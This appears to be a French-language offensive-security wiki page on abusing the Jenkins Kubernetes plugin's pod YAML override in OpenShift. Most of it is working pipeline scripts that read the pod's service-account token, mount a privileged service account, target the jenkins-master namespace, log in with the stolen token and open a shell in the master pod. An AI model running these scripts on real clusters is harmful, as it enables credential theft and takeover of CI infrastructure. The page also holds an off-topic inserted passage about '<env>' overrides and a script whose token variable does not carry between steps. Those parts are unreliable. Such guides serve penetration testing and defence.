OpenShift - Jenkins Build Pod Override

L'auteur original de cette page est Fares

Plugin Kubernetes pour Jenkins

Ce plugin est principalement responsable des fonctions de base de Jenkins à l'intérieur d'un cluster openshift/kubernetes. Documentation officielle ici Il offre quelques fonctionnalités telles que la capacité pour les développeurs de remplacer certaines configurations par défaut d'un pod de construction Jenkins.

Fonctionnalité de base

Ce plugin permet une flexibilité aux développeurs lors de la construction de leur code dans un environnement adéquat.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Quelques abus exploitant le remplacement de yaml de pod

Cependant, il peut être abusé pour utiliser n'importe quelle image accessible comme Kali Linux et exécuter des commandes arbitraires en utilisant des outils préinstallés à partir de cette image. Dans l'exemple ci-dessous, nous pouvons exfiltrer le jeton du compte de service du pod en cours d'exécution.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Remplacements de construction Jenkins OpenShift

Lorsque vous créez une construction Jenkins dans OpenShift, vous pouvez remplacer certains paramètres de construction en utilisant une syntaxe différente. Cela peut être utile pour personnaliser davantage votre processus de construction. Voici comment effectuer des remplacements de construction en utilisant une syntaxe alternative :

  1. Accédez à la configuration de votre construction Jenkins dans OpenShift.

  2. Recherchez la section des paramètres de construction.

  3. Ajoutez un nouveau paramètre en utilisant la syntaxe suivante :

<env name="NOM_DU_PARAMETRE" value="NOUVELLE_VALEUR"/>
  1. Répétez cette étape pour chaque paramètre que vous souhaitez remplacer.

  2. Enregistrez les modifications et lancez une nouvelle construction pour appliquer les remplacements.

En utilisant cette syntaxe alternative, vous pouvez facilement personnaliser les paramètres de construction de Jenkins dans OpenShift selon vos besoins spécifiques.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Exemple pour remplacer l'espace de noms du pod

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Un autre exemple qui tente de monter un serviceaccount (qui peut avoir plus d'autorisations que celui par défaut, exécutant votre build) en se basant sur son nom. Vous devrez peut-être deviner ou énumérer d'abord les serviceaccounts existants.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

La même technique s'applique pour essayer de monter un Secret. L'objectif final ici serait de comprendre comment configurer votre build de pod pour pivoter efficacement ou obtenir des privilèges.

Aller plus loin

Une fois que vous avez pris l'habitude de jouer avec cela, utilisez vos connaissances sur Jenkins et Kubernetes/Openshift pour trouver des mauvaises configurations / abus.

Posez-vous les questions suivantes :

  • Quel compte de service est utilisé pour déployer les pods de build ?

  • Quels rôles et permissions a-t-il ? Peut-il lire les secrets de l'espace de noms dans lequel je me trouve actuellement ?

  • Puis-je énumérer d'autres pods de build ?

  • À partir d'un sa compromis, puis-je exécuter des commandes sur le nœud/pod maître ?

  • Puis-je énumérer davantage le cluster pour pivoter ailleurs ?

  • Quel SCC est appliqué ?

Vous pouvez découvrir quels commandes oc/kubectl exécuter ici et ici.

Scénarios possibles d'élévation de privilèges/pivot

Supposons que lors de votre évaluation, vous avez découvert que tous les builds Jenkins s'exécutent à l'intérieur d'un espace de noms appelé worker-ns. Vous avez découvert qu'un compte de service par défaut appelé default-sa est monté sur les pods de build, cependant il n'a pas beaucoup de permissions sauf l'accès en lecture à certaines ressources, mais vous avez pu identifier un compte de service existant appelé master-sa. Supposons également que vous avez la commande oc installée à l'intérieur du conteneur de build en cours d'exécution.

Avec le script de build ci-dessous, vous pouvez prendre le contrôle du compte de service master-sa et énumérer davantage.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Selon votre accès, vous devez soit continuer votre attaque à partir du script de construction, soit vous connecter directement en tant que ce sa sur le cluster en cours d'exécution :

oc login --token=$token --server=https://apiserver.com:port

Si ce sa dispose des autorisations suffisantes (telles que pod/exec), vous pouvez également prendre le contrôle de l'instance jenkins entière en exécutant des commandes à l'intérieur du pod du nœud maître, s'il s'exécute dans le même espace de noms. Vous pouvez facilement identifier ce pod via son nom et par le fait qu'il doit monter un PVC (persistant volume claim) utilisé pour stocker les données de jenkins.

oc rsh pod_name -c container_name

Dans le cas où la pod du nœud maître ne s'exécute pas dans le même espace de noms que les travailleurs, vous pouvez essayer des attaques similaires en ciblant l'espace de noms du maître. Supposons qu'il s'appelle jenkins-master. Gardez à l'esprit que le serviceAccount master-sa doit exister dans l'espace de noms jenkins-master (et pourrait ne pas exister dans l'espace de noms worker-ns).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Last updated